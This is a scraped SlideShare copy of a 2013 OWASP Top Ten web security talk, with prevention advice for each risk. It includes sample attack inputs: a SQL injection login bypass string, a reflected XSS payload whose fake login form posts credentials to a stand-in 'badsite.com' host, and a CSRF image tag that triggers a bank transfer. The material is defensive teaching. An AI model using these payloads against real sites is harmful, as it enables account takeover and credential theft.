SlideShare a Scribd company logo
OWASP

The OWASP Foundation
http://www.owasp.org

The OWASP Top Ten
Most Critical Web Application
Security Risks
2013/12/04

Simon Bennetts
Mozilla Security Team, OWASP ZAP Project Lead
psiinon@gmail.com
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Top Ten
• Most Critical Web Application Security Risks
Threat Agent

Attack Vector
Easy

Weakness
Prevalence
Widespread

Weakness
Detectability
Easy

Technical
Impact
Severe

Business
Impact
?

?
?

Average

Common

Average

Moderate

?

?

Difficult

Uncommon

Difficult

Minor

?

• A great place to start
• Current list published in 2013
• Well known and well regarded
• But … the vast majority of websites still have a
high, critical or urgent issue

2
The OWASP Top Ten
A1: Injection
A2: Broken Authentication and Session Management
A3: Cross-Site Scripting (XSS)
A4: Insecure Direct Object References
A5: Security Misconfiguration
A6: Sensitive Data Exposure
A7: Mission Function Level Access Control
A8: Cross-Site Request Forgery (CSRF)
A9: Using Components with Known Vulnerabilities
A10: Unvalidated Redirects or Forwards

3
A1: Injection
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Easy

Common

Average

Severe

•

Tricking an application into including unintended
commands in the data sent to an interpreter

•

SQL, OS Shell, LDAP, Xpath, Hibernate…

•

Impact: SEVERE!

•

Unauthorized application access

•

Unauthorized data access

•

OS access…
4
A1: Injection

User
Server

Db

5
A1: Injection (SQL)
• Example UI:
Name:

admin ʹ--

Password:

*******

Login

• Example code:
String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and
password = ʹ” + password + “ʹ”;

• Expected SQL:
SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ

6
A1: Injection (SQL)
• Example UI:
Name:

admin ʹ--

Password:

*******

Login

• Example code:
String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and
password = ʹ” + password + “ʹ”;

• Expected SQL:
SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ

• Resulting SQL query:
SELECT * FROM users where username = ʹadminʹ--ʹ and password = ʹanythingʹ

7
A1: Injection
•

Prevention:

•

Use interfaces that provide a parameterized
interface:

• Prepared Statements
• Stored Procedures
•
•

Encode all user input

•
•

Whitelist input

Minimize database privileges
OWASP SQL Injection Prevention Cheat sheet
8
A2: Broken Authentication and
Session Management
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Average

Widespread

Average

Severe

• HTTP is stateless
• Session IDs used to track state, good as
credentials to an attacker

• Can be accessed via sniffer, logs, XSS…
• Change my password, forgotten my password,
secret questions …

• Impact: sessions hijacked / accounts
compromised

9
A2: Broken Authentication and
Session Management
• Prevention:
• Use standard implementations
• Use SSL for ALL requests
• Thoroughly test all authentication related
functionality

• Use SECURE & HTTPOnly cookies flags
• Avoid XSS flaws
10
A3: Cross Site Scripting (XSS)
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Average

VERY Widespread

Easy

Moderate

•

Injecting malicious content/code into web pages

•

HTML / javascript most common, but many other
technologies also vulnerable:

•

Java, Active X, Flash, RSS, Atom, …

•

Present in 68% of all web applications in 2011

•

Can be present in form and URL parameters AND
cookies

11
A3: Cross Site Scripting
• Impact:
(XSS)
•

Session hijacking

•

Unauthorized data access

•

Web page rewriting

•

Redirect users (eg to phishing or malware sites)

•

Anything the web application can do…

12
A2: Cross Site Scripting
(XSS)
Reflected

Persistent

13
A2: Cross Site Scripting
(XSS)
DOM

14
A3: Cross Site Scripting
• Forum: “Have you seen XYZ are being taken over??
(XSS)
http://tinyurl/jdfgshr”
XYZ – We’re being taken over!
https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%20
Search this site:

Yes, we’re being taken over, but don’t worry:
login to find out why this is a good thing!
Username:
Password:
Login

15
A3: Cross Site Scripting
(XSS) found!
XYZ – No Search Result

https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%2
Search this site:

No search result found for:
“</div><script>document.title=‘XYZ – We’re being taken
over!’;
Document.getElementById(‘results’).style.display=‘none’;
</script> Yes, we’re being taken over, but don’t worry:
login to find out why this is a good thing! <table><form
action=‘http://badsite.com/gotcha’>
<tr><td>Username:</td><td><input id=‘user’></td></tr>
<tr><td>Password:</td><td><input id=‘password’ type=…”

16
A3: Cross Site Scripting
• View Source:
(XSS)

:
<div id = “results”>
<p>No search result found for: </p>
<!-- start of users search term --> “
</div><script>document.title=‘XYZ – We’re being taken over!’;
Document.getElementById(‘results’).style.display=‘none’;
</script>
Yes, we’re being taken over, but don’t worry:
login to find out why this is a good thing! <table><form
action=‘http://badsite.com/gotcha’>
<tr><td>Username:</td><td><input id=‘user’></td></tr>
<tr><td>Password:</td><td><input id=‘password’ type=…
” <!-- end of users search term -->
:

17
•

A3: Cross Site Scripting
Prevention:
(XSS)

•
•

Whitelist input

•

Encode output (e.g. using OWASP ESAPI)

•
•

Don’t output user supplied input 

If you must support user supplied HTML,
use libraries like OWASP’s AntiSamy
OWASP XSS Prevention Cheat sheet

18
A4: Insecure Direct Object
Reference
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Easy

Common

Easy

Moderate

• A direct reference to an object that is not
validated on each request

• user=psiinon@gmail.com
• company=Mega%20Corp
• account=7352820

• Typically in FORM and URL parameters
(cookies less likely)

• Impact: accounts and data compromised
19
A4: Insecure Direct Object
Reference
• Attacker notices

URL: acct=6065

• Modifies it to
acct=6066

• Attacker can view
(and maybe
change?) the
victims account

20
A4: Insecure Direct Object
Reference
• Prevention:
• Use per user or per session indirect object
references (ESAPI supports integer and
random mapping)

• Validate Direct Object References on each
request

21
A5: Security Misconfiguration
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Easy

Common

Easy

Moderate

• Another multitude of sins 
• Server / Application configuration
• Lack of server and application hardening
• Unpatched OS, services, libraries
• Default accounts
• Detailed error messages (e.g. stack traces)
• Unprotected files and directories
22
A5: Security Misconfiguration
• Impact:
• Server compromise
• Exploitation of known vulnerabilities
• Prevention:
• Repeatable server and application
hardening process

• Patch OS, services, libraries
• Strong architecture that ensures secure
separation between components

23
A6: Sensitive Data Exposure
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Difficult

Uncommon

Average

Severe

• Exposure of:
• Credentials
• Credit card numbers
• Bank account details
• Any sensitive data…
• In:

Databases, Files, Logs, Backups …

24
A6: Sensitive Data Exposure
• Impact:
• Attackers access or modify sensitive data
• Attackers use sensitive data in further
attacks

• Company embarrassment, loss of trust
• Company sued or fined

25
A6: Sensitive Data Exposure
• Prevention:
• Identify sensitive data
• Store as little sensitive data as possible 
• Protect with suitable mechanisms (file, db,
element encryption, SSL)

• Only use standard, well recognised
algorithms

• Check your implementation!
26
A7: Missing Function Level
Access Control
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Easy

Common

Average

Moderate

• UI showing navigation to unauthorized functions
• Server side authentication or authorization checks
missing

• Server side checks relying solely on attacker
provided information

• Impact:
• Unauthorized account and data access
• Access to administrative functionality
27
A7: Missing Function Level
Access Control
• Prevention:
• Process for managing entitlements thats
easy to update and audit

• Deny access by default, require specific

grants to specific roles for access to every
function

• Check workflow for correct state

28
A8: Cross site request forgery
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Average

Common

Easy

Moderate

• Exploits sessions established in other browser
windows or tabs

• Impact: Attacker can perform any action on
behalf of the victim

29
A8: Cross site request forgery
Browser

1
4

example.bank.com
$$$
5

2
3

bad.site.com
<img src=“…”>

<img src=
"https://example.bank.com/withdraw?
account=bob&amount=1000000&for=mallory"
>

30
A8: Cross site request forgery
• Prevention:
• Never allow GETs to change things
• Anti CSRF tokens
• Viewstate (ASP.NET)
• OWASP CSRF Guard
• Challenge-Response
• Re-Authentication
• CAPTCHA
31
A9: Using Components with
Known Vulnerabilities
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Average

Widespread

Difficult

Moderate

• As per the title!
• Impact:
• Full range of weaknesses, including

injection, broken access control, XSS …

• Minimal → complete host takeover and data
compromise

32
A9: Using Components with
Known Vulnerabilities
• Prevention:
• Identify all components and versions in use
• Monitor security of these components
• Keep components up to date
• Establish security policies governing use
• If necessary add wrappers to disable unused
or vulnerable aspects of components

33
A10: Unvalidated Redirects and
Forwards
Attack Vector

Weakness Prevalence

Weakness Detectability

Technical Impact

Average

Uncommon

Easy

Moderate

• Redirects are common and send the user to a
new site .. which could be malicious if not
validated!
http://fail.com/redir.php?url=badsite.com

• Forwards (Transfers) send the request to a

new page in the same application .. which
could bypass authentication or authorization
http://fail.com/redir.php?url=admin.php
34
A10: Unvalidated Redirects and
Forwards

• Impact:

• Redirect victim to phishing or malware site
• Attacker’s request is forwarded past security
checks, allowing unauthorized function or
data access

• Prevention:
• Avoid using them
• Dont use user supplied data for destination
• Validate any user data that must be used
35
Where Next?
• Read and understand the full document!
• Read the OWASP Developers Guide
• Watch the OWASP AppSec Tutorial videos on
youtube

• Re-examine your code!
• Introduce a Secure Development Lifecycle
• Use tools like the OWASP Zed Attack Proxy 

36
Any Questions?
https://www.owasp.org/index.php/Top_10_2013

More Related Content

PPTX
Evaluating Web App, Mobile App, and API Security - Matt Cohen
Inman News
 
PDF
Web hackingtools cf-summit2014
ColdFusionConference
 
PPTX
Cyber ppt
karthik menon
 
PPTX
Anatomy Web Attack
Kelly Speiser
 
PPTX
OWASP top 10-2013
tmd800
 
PPTX
Application Security Tools
Lalit Kale
 
PPT
Web attacks
husnara mohammad
 
PDF
Security in practice with Java EE 6 and GlassFish
Markus Eisele
 
Evaluating Web App, Mobile App, and API Security - Matt Cohen
Inman News
 
Web hackingtools cf-summit2014
ColdFusionConference
 
Cyber ppt
karthik menon
 
Anatomy Web Attack
Kelly Speiser
 
OWASP top 10-2013
tmd800
 
Application Security Tools
Lalit Kale
 
Web attacks
husnara mohammad
 
Security in practice with Java EE 6 and GlassFish
Markus Eisele
 

What's hot (20)

PDF
How to avoid top 10 security risks in Java EE applications and how to avoid them
Masoud Kalali
 
PPTX
Owasp first5 presentation
Ashwini Paranjpe
 
PPTX
Ten Commandments of Secure Coding
Mateusz Olejarka
 
PPTX
Owasp top 10_-_2010 presentation
Islam Azeddine Mennouchi
 
PPTX
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Noppadol Songsakaew
 
PPT
Owasp Top 10 And Security Flaw Root Causes
Marco Morana
 
PPTX
OWASP Top 10 Proactive Controls
Katy Anton
 
PPTX
OWASP Top Ten 2017
Michael Furman
 
PPTX
Owasp & Asp.Net
Önsel Akın
 
PDF
Owasp top 10 2013
Edouard de Lansalut
 
PPTX
DVWA(Damn Vulnerabilities Web Application)
Soham Kansodaria
 
PPTX
RSA Europe 2013 OWASP Training
Jim Manico
 
KEY
DVWA BruCON Workshop
testuser1223
 
PDF
Web security and OWASP
Isuru Samaraweera
 
PDF
Attques web
Tarek MOHAMED
 
PDF
Wakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
Alexandre Morgaut
 
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
PPTX
OWASP Top 10 vs Drupal - OWASP Benelux 2012
ZIONSECURITY
 
PPT
香港六合彩
baoyin
 
PPTX
OWASP Top 10 - 2017 Top 10 web application security risks
Kun-Da Wu
 
How to avoid top 10 security risks in Java EE applications and how to avoid them
Masoud Kalali
 
Owasp first5 presentation
Ashwini Paranjpe
 
Ten Commandments of Secure Coding
Mateusz Olejarka
 
Owasp top 10_-_2010 presentation
Islam Azeddine Mennouchi
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Noppadol Songsakaew
 
Owasp Top 10 And Security Flaw Root Causes
Marco Morana
 
OWASP Top 10 Proactive Controls
Katy Anton
 
OWASP Top Ten 2017
Michael Furman
 
Owasp & Asp.Net
Önsel Akın
 
Owasp top 10 2013
Edouard de Lansalut
 
DVWA(Damn Vulnerabilities Web Application)
Soham Kansodaria
 
RSA Europe 2013 OWASP Training
Jim Manico
 
DVWA BruCON Workshop
testuser1223
 
Web security and OWASP
Isuru Samaraweera
 
Attques web
Tarek MOHAMED
 
Wakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
Alexandre Morgaut
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
ZIONSECURITY
 
香港六合彩
baoyin
 
OWASP Top 10 - 2017 Top 10 web application security risks
Kun-Da Wu
 
Ad

Viewers also liked (10)

PPTX
Unit tests benefits
Kate Semizhon
 
ODP
Security In PHP Applications
Aditya Mooley
 
PDF
Robotium framework & Jenkins CI tools - TdT@Cluj #19
Tabăra de Testare
 
ODP
Zed Attack Proxy (ZAP) Quick Intro - TdT@Cluj #20
Tabăra de Testare
 
PDF
A5-Security misconfiguration-OWASP 2013
Sorina Chirilă
 
PPT
Code Review
rantav
 
PPTX
Code Review
Mikalai Alimenkou
 
PDF
Effective code reviews
Sebastian Marek
 
PDF
Code Review Tool Evaluation
Kate Semizhon
 
DOCX
Code review guidelines
Lalit Kale
 
Unit tests benefits
Kate Semizhon
 
Security In PHP Applications
Aditya Mooley
 
Robotium framework & Jenkins CI tools - TdT@Cluj #19
Tabăra de Testare
 
Zed Attack Proxy (ZAP) Quick Intro - TdT@Cluj #20
Tabăra de Testare
 
A5-Security misconfiguration-OWASP 2013
Sorina Chirilă
 
Code Review
rantav
 
Code Review
Mikalai Alimenkou
 
Effective code reviews
Sebastian Marek
 
Code Review Tool Evaluation
Kate Semizhon
 
Code review guidelines
Lalit Kale
 
Ad

Similar to The OWASP Top 10 Most Critical Web App Security Risks - TdT@Cluj #20 (20)

PDF
2013 OWASP Top 10
bilcorry
 
PDF
OWASP Top Ten in Practice
Security Innovation
 
PPTX
How to Test for The OWASP Top Ten
Security Innovation
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
PPTX
Owasp first5 presentation
owasp-pune
 
PDF
Web hackingtools 2015
devObjective
 
PDF
Web hackingtools 2015
ColdFusionConference
 
PDF
Problems with parameters b sides-msp
Mike Saunders
 
PPT
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
Brian Huff
 
PDF
How to Harden the Security of Your .NET Website
DNN
 
PDF
Become a Security Ninja
Paul Gilzow
 
PDF
TechEvent 2019: Security 101 für Web Entwickler; Roland Krüger - Trivadis
Trivadis
 
PDF
Solvay secure application layer v2015 seba
Sebastien Deleersnyder
 
PPT
Secure code practices
Hina Rawal
 
PPTX
owasp top 10 security risk categories and CWE
Arun Voleti
 
PDF
Owasp top 10_openwest_2019
Sean Jackson
 
PPTX
Security testautomation
Linkesh Kanna Velu
 
PPTX
For Business's Sake, Let's focus on AppSec
Lalit Kale
 
PDF
How to Destroy a Database
John Ashmead
 
PPTX
Presentation on Web Attacks
Vivek Sinha Anurag
 
2013 OWASP Top 10
bilcorry
 
OWASP Top Ten in Practice
Security Innovation
 
How to Test for The OWASP Top Ten
Security Innovation
 
Vulnerabilities in modern web applications
Niyas Nazar
 
Owasp first5 presentation
owasp-pune
 
Web hackingtools 2015
devObjective
 
Web hackingtools 2015
ColdFusionConference
 
Problems with parameters b sides-msp
Mike Saunders
 
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
Brian Huff
 
How to Harden the Security of Your .NET Website
DNN
 
Become a Security Ninja
Paul Gilzow
 
TechEvent 2019: Security 101 für Web Entwickler; Roland Krüger - Trivadis
Trivadis
 
Solvay secure application layer v2015 seba
Sebastien Deleersnyder
 
Secure code practices
Hina Rawal
 
owasp top 10 security risk categories and CWE
Arun Voleti
 
Owasp top 10_openwest_2019
Sean Jackson
 
Security testautomation
Linkesh Kanna Velu
 
For Business's Sake, Let's focus on AppSec
Lalit Kale
 
How to Destroy a Database
John Ashmead
 
Presentation on Web Attacks
Vivek Sinha Anurag
 

More from Tabăra de Testare (20)

PPTX
Tap into mobile app testing@TDT Iasi Sept2013
Tabăra de Testare
 
PPSX
Test analysis & design good practices@TDT Iasi 17Oct2013
Tabăra de Testare
 
PPTX
Webdriver with Thucydides - TdT@Cluj #18
Tabăra de Testare
 
PDF
Mobile Web UX - TdT@Cluj #17
Tabăra de Testare
 
PPTX
Behavior Driven Development - TdT@Cluj #15
Tabăra de Testare
 
PDF
TdT@Cluj #14 - Mobile Testing Workshop
Tabăra de Testare
 
PPS
Security testing
Tabăra de Testare
 
PDF
Mobile Testing - TdT Cluj #13
Tabăra de Testare
 
PDF
Td t summary
Tabăra de Testare
 
PPTX
How to evaluate a tester
Tabăra de Testare
 
PPT
Testing, job or game
Tabăra de Testare
 
PPTX
Test Automation Techniques for Windows Applications
Tabăra de Testare
 
PPTX
Help them to help you
Tabăra de Testare
 
PDF
Learning the Agile way
Tabăra de Testare
 
PPTX
How to bring creativity in testing
Tabăra de Testare
 
PPTX
Tester with benefits
Tabăra de Testare
 
PPTX
Doing things Differently
Tabăra de Testare
 
PPTX
Testarea: Prieten sau dusman? Adrian speteanu
Tabăra de Testare
 
PDF
Invatand prin explorare
Tabăra de Testare
 
PPTX
Tabara testare adrian matei
Tabăra de Testare
 
Tap into mobile app testing@TDT Iasi Sept2013
Tabăra de Testare
 
Test analysis & design good practices@TDT Iasi 17Oct2013
Tabăra de Testare
 
Webdriver with Thucydides - TdT@Cluj #18
Tabăra de Testare
 
Mobile Web UX - TdT@Cluj #17
Tabăra de Testare
 
Behavior Driven Development - TdT@Cluj #15
Tabăra de Testare
 
TdT@Cluj #14 - Mobile Testing Workshop
Tabăra de Testare
 
Security testing
Tabăra de Testare
 
Mobile Testing - TdT Cluj #13
Tabăra de Testare
 
Td t summary
Tabăra de Testare
 
How to evaluate a tester
Tabăra de Testare
 
Testing, job or game
Tabăra de Testare
 
Test Automation Techniques for Windows Applications
Tabăra de Testare
 
Help them to help you
Tabăra de Testare
 
Learning the Agile way
Tabăra de Testare
 
How to bring creativity in testing
Tabăra de Testare
 
Tester with benefits
Tabăra de Testare
 
Doing things Differently
Tabăra de Testare
 
Testarea: Prieten sau dusman? Adrian speteanu
Tabăra de Testare
 
Invatand prin explorare
Tabăra de Testare
 
Tabara testare adrian matei
Tabăra de Testare
 

Recently uploaded (20)

PDF
Make GenAI investments go further with the Dell AI Factory
Principled Technologies
 
PDF
Doc9.....................................
SofiaCollazos
 
PDF
Cloud-Migration-Best-Practices-A-Practical-Guide-to-AWS-Azure-and-Google-Clou...
Artjoker Software Development Company
 
PDF
Software Development Methodologies in 2025
KodekX
 
PDF
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
PDF
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
PDF
Automating ArcGIS Content Discovery with FME: A Real World Use Case
Safe Software
 
PDF
Accelerating Oracle Database 23ai Troubleshooting with Oracle AHF Fleet Insig...
Sandesh Rao
 
PDF
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
PPTX
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
PDF
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 
PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
PDF
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
PPTX
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
PDF
A Day in the Life of Location Data - Turning Where into How.pdf
Precisely
 
PDF
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
PDF
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
PDF
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
Make GenAI investments go further with the Dell AI Factory
Principled Technologies
 
Doc9.....................................
SofiaCollazos
 
Cloud-Migration-Best-Practices-A-Practical-Guide-to-AWS-Azure-and-Google-Clou...
Artjoker Software Development Company
 
Software Development Methodologies in 2025
KodekX
 
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
Automating ArcGIS Content Discovery with FME: A Real World Use Case
Safe Software
 
Accelerating Oracle Database 23ai Troubleshooting with Oracle AHF Fleet Insig...
Sandesh Rao
 
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
A Day in the Life of Location Data - Turning Where into How.pdf
Precisely
 
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 

The OWASP Top 10 Most Critical Web App Security Risks - TdT@Cluj #20

  • 1. OWASP The OWASP Foundation http://www.owasp.org The OWASP Top Ten Most Critical Web Application Security Risks 2013/12/04 Simon Bennetts Mozilla Security Team, OWASP ZAP Project Lead [email protected] Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
  • 2. The OWASP Top Ten • Most Critical Web Application Security Risks Threat Agent Attack Vector Easy Weakness Prevalence Widespread Weakness Detectability Easy Technical Impact Severe Business Impact ? ? ? Average Common Average Moderate ? ? Difficult Uncommon Difficult Minor ? • A great place to start • Current list published in 2013 • Well known and well regarded • But … the vast majority of websites still have a high, critical or urgent issue 2
  • 3. The OWASP Top Ten A1: Injection A2: Broken Authentication and Session Management A3: Cross-Site Scripting (XSS) A4: Insecure Direct Object References A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Mission Function Level Access Control A8: Cross-Site Request Forgery (CSRF) A9: Using Components with Known Vulnerabilities A10: Unvalidated Redirects or Forwards 3
  • 4. A1: Injection Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Average Severe • Tricking an application into including unintended commands in the data sent to an interpreter • SQL, OS Shell, LDAP, Xpath, Hibernate… • Impact: SEVERE! • Unauthorized application access • Unauthorized data access • OS access… 4
  • 6. A1: Injection (SQL) • Example UI: Name: admin ʹ-- Password: ******* Login • Example code: String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and password = ʹ” + password + “ʹ”; • Expected SQL: SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ 6
  • 7. A1: Injection (SQL) • Example UI: Name: admin ʹ-- Password: ******* Login • Example code: String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and password = ʹ” + password + “ʹ”; • Expected SQL: SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ • Resulting SQL query: SELECT * FROM users where username = ʹadminʹ--ʹ and password = ʹanythingʹ 7
  • 8. A1: Injection • Prevention: • Use interfaces that provide a parameterized interface: • Prepared Statements • Stored Procedures • • Encode all user input • • Whitelist input Minimize database privileges OWASP SQL Injection Prevention Cheat sheet 8
  • 9. A2: Broken Authentication and Session Management Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Widespread Average Severe • HTTP is stateless • Session IDs used to track state, good as credentials to an attacker • Can be accessed via sniffer, logs, XSS… • Change my password, forgotten my password, secret questions … • Impact: sessions hijacked / accounts compromised 9
  • 10. A2: Broken Authentication and Session Management • Prevention: • Use standard implementations • Use SSL for ALL requests • Thoroughly test all authentication related functionality • Use SECURE & HTTPOnly cookies flags • Avoid XSS flaws 10
  • 11. A3: Cross Site Scripting (XSS) Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average VERY Widespread Easy Moderate • Injecting malicious content/code into web pages • HTML / javascript most common, but many other technologies also vulnerable: • Java, Active X, Flash, RSS, Atom, … • Present in 68% of all web applications in 2011 • Can be present in form and URL parameters AND cookies 11
  • 12. A3: Cross Site Scripting • Impact: (XSS) • Session hijacking • Unauthorized data access • Web page rewriting • Redirect users (eg to phishing or malware sites) • Anything the web application can do… 12
  • 13. A2: Cross Site Scripting (XSS) Reflected Persistent 13
  • 14. A2: Cross Site Scripting (XSS) DOM 14
  • 15. A3: Cross Site Scripting • Forum: “Have you seen XYZ are being taken over?? (XSS) http://tinyurl/jdfgshr” XYZ – We’re being taken over! https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%20 Search this site: Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! Username: Password: Login 15
  • 16. A3: Cross Site Scripting (XSS) found! XYZ – No Search Result https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%2 Search this site: No search result found for: “</div><script>document.title=‘XYZ – We’re being taken over!’; Document.getElementById(‘results’).style.display=‘none’; </script> Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’> <tr><td>Username:</td><td><input id=‘user’></td></tr> <tr><td>Password:</td><td><input id=‘password’ type=…” 16
  • 17. A3: Cross Site Scripting • View Source: (XSS) : <div id = “results”> <p>No search result found for: </p> <!-- start of users search term --> “ </div><script>document.title=‘XYZ – We’re being taken over!’; Document.getElementById(‘results’).style.display=‘none’; </script> Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’> <tr><td>Username:</td><td><input id=‘user’></td></tr> <tr><td>Password:</td><td><input id=‘password’ type=… ” <!-- end of users search term --> : 17
  • 18. • A3: Cross Site Scripting Prevention: (XSS) • • Whitelist input • Encode output (e.g. using OWASP ESAPI) • • Don’t output user supplied input  If you must support user supplied HTML, use libraries like OWASP’s AntiSamy OWASP XSS Prevention Cheat sheet 18
  • 19. A4: Insecure Direct Object Reference Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Easy Moderate • A direct reference to an object that is not validated on each request • [email protected] • company=Mega%20Corp • account=7352820 • Typically in FORM and URL parameters (cookies less likely) • Impact: accounts and data compromised 19
  • 20. A4: Insecure Direct Object Reference • Attacker notices URL: acct=6065 • Modifies it to acct=6066 • Attacker can view (and maybe change?) the victims account 20
  • 21. A4: Insecure Direct Object Reference • Prevention: • Use per user or per session indirect object references (ESAPI supports integer and random mapping) • Validate Direct Object References on each request 21
  • 22. A5: Security Misconfiguration Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Easy Moderate • Another multitude of sins  • Server / Application configuration • Lack of server and application hardening • Unpatched OS, services, libraries • Default accounts • Detailed error messages (e.g. stack traces) • Unprotected files and directories 22
  • 23. A5: Security Misconfiguration • Impact: • Server compromise • Exploitation of known vulnerabilities • Prevention: • Repeatable server and application hardening process • Patch OS, services, libraries • Strong architecture that ensures secure separation between components 23
  • 24. A6: Sensitive Data Exposure Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Difficult Uncommon Average Severe • Exposure of: • Credentials • Credit card numbers • Bank account details • Any sensitive data… • In: Databases, Files, Logs, Backups … 24
  • 25. A6: Sensitive Data Exposure • Impact: • Attackers access or modify sensitive data • Attackers use sensitive data in further attacks • Company embarrassment, loss of trust • Company sued or fined 25
  • 26. A6: Sensitive Data Exposure • Prevention: • Identify sensitive data • Store as little sensitive data as possible  • Protect with suitable mechanisms (file, db, element encryption, SSL) • Only use standard, well recognised algorithms • Check your implementation! 26
  • 27. A7: Missing Function Level Access Control Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Average Moderate • UI showing navigation to unauthorized functions • Server side authentication or authorization checks missing • Server side checks relying solely on attacker provided information • Impact: • Unauthorized account and data access • Access to administrative functionality 27
  • 28. A7: Missing Function Level Access Control • Prevention: • Process for managing entitlements thats easy to update and audit • Deny access by default, require specific grants to specific roles for access to every function • Check workflow for correct state 28
  • 29. A8: Cross site request forgery Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Common Easy Moderate • Exploits sessions established in other browser windows or tabs • Impact: Attacker can perform any action on behalf of the victim 29
  • 30. A8: Cross site request forgery Browser 1 4 example.bank.com $$$ 5 2 3 bad.site.com <img src=“…”> <img src= "https://example.bank.com/withdraw? account=bob&amount=1000000&for=mallory" > 30
  • 31. A8: Cross site request forgery • Prevention: • Never allow GETs to change things • Anti CSRF tokens • Viewstate (ASP.NET) • OWASP CSRF Guard • Challenge-Response • Re-Authentication • CAPTCHA 31
